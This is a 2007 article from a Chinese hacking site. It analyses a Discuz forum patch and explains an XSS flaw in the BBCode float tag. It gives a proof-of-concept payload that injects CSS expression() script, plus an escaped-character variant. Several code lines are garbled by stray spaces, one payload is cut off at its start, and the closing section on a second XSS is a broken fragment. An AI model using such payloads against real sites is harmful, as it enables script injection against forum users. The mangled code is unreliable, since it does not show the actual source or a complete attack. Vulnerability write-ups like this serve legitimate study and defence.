今天是:
网站首页 | 新闻中心 | 文章中心 | 软件论坛 | 动画中心 | 最新下载 | 加入学盟 | 发布作品
业内动态 | 黑客新闻 | 黑客事件 | 校园快讯 | Q Q 攻略 | 系统安全 | 黑客教学 | 黑客人物
黑客动画 | 精品动画 | 常用工具 | 黑客工马 | 网吧工具 | 密码破解 | 精品推荐 | 会员专区
  快速搜索
关键字
搜索范围
  广告栏目1
   你的位置首页 >> 黑客技术 >> 网络技术->Discuz0724补丁补掉的一个XSS+补掉的另外一个XSS
Discuz0724补丁补掉的一个XSS+补掉的另外一个XSS
日期:2007-11-04 00:53:06   来源: 不详   作者: 未知
对比补丁我们发现在\include\discuzcode.func.php里:
 $discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则
 
 "/\[ali gn=([^\[\<]+?)\]/i", ---->补丁前
 "/\[flo at=([^\ [\<]+?)\]/i"
 |
 V
 "/\[align=(left|center|right)\]/i", ---->补丁后
 "/\[float=(left|right)\]/i"

继续看下面的codz是杂处理这2个标签的:
 $discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则

 ........
 "<p  align= \"\\1\">",
 "<br styl e=\   "cl ear: both\"><span style=\"float: \\1;\">"

替换的代码部分:
  $ mess age = str_replace($discuzcodes['searcharray']['bbcode_str'],
 $ discuzcodes['replacearray']['bbcode_str'],
 pre g_replace(
 ($p ars etype != 1 &&  $ all owb bcode == 2 && $GLOBALS['_DCACHE']['bbcode s'] ?   array_merge($discuzcode s ['sea rcharra  y']['bbcod e_regexp'], $GLOB  ALS['_DCACHE']['bbcodes']['sear  charray']) : $discuzcod es ['searcharray']['bbcode_regexp']),   
 ($parsety pe != 1 &&  $a llo wbb code == 2 && $GLOBALS['_DCACHE ']['bbcodes'] ? arra y_merge(  $discuzc odes[ 'replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbc  odes']['rep la ce array']) :  $discuzco d es['r e pl ace array']['bb  cod e_reg ex p']),
 $message));
经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用"和<>
这也就是意味着   "/\[  align= ([^\[\<]+?)\]/ i"-->"<p align =\" \\1\ ">" 是没办法用"<>等闭合,我们再看float标签:
"/\[floa  t= ([^ \[\<]+? )\]/  i" -->"<br  style=\"clear: both\"><span style=\"flo at: \\1;\">"
替换后的\\1进入<span styl e= ,哈哈 style=里利用expression()是不需要"闭和的 :)。 

测试codz:
[float=expression(alert(123456789))]test[/float]
上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看"/\[float=([^\[\<]+?)\]/i" 这个提取的正则没有什么特别的过滤只是$message在替换前就被htmlchars了
所以完全是可以利用的 如: 
 \31\32\33\34\35\ 36\37\38\39\29\29]test[/float]
不过还是弹筐筐 :)。

后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ..... 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。

Dz0724补丁补掉的另外一个xss

\include\common.inc.php里:
 ( $PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');

责任编辑:hackfly
【加入收藏】 【推荐好友】 【打印本文】
合作伙伴 - 联系我们 - 法律声明 - 关于我们 - 广告联系
网摘收藏: [新浪VIVI] [YouNote收藏] [牛啦!收藏] [加加文摘] [天天网摘]
版权所有:学生黑客联盟 黑ICP备05002849号 2006-2008 All Rights Reserved, Powered by StuCMS™ V1.40beta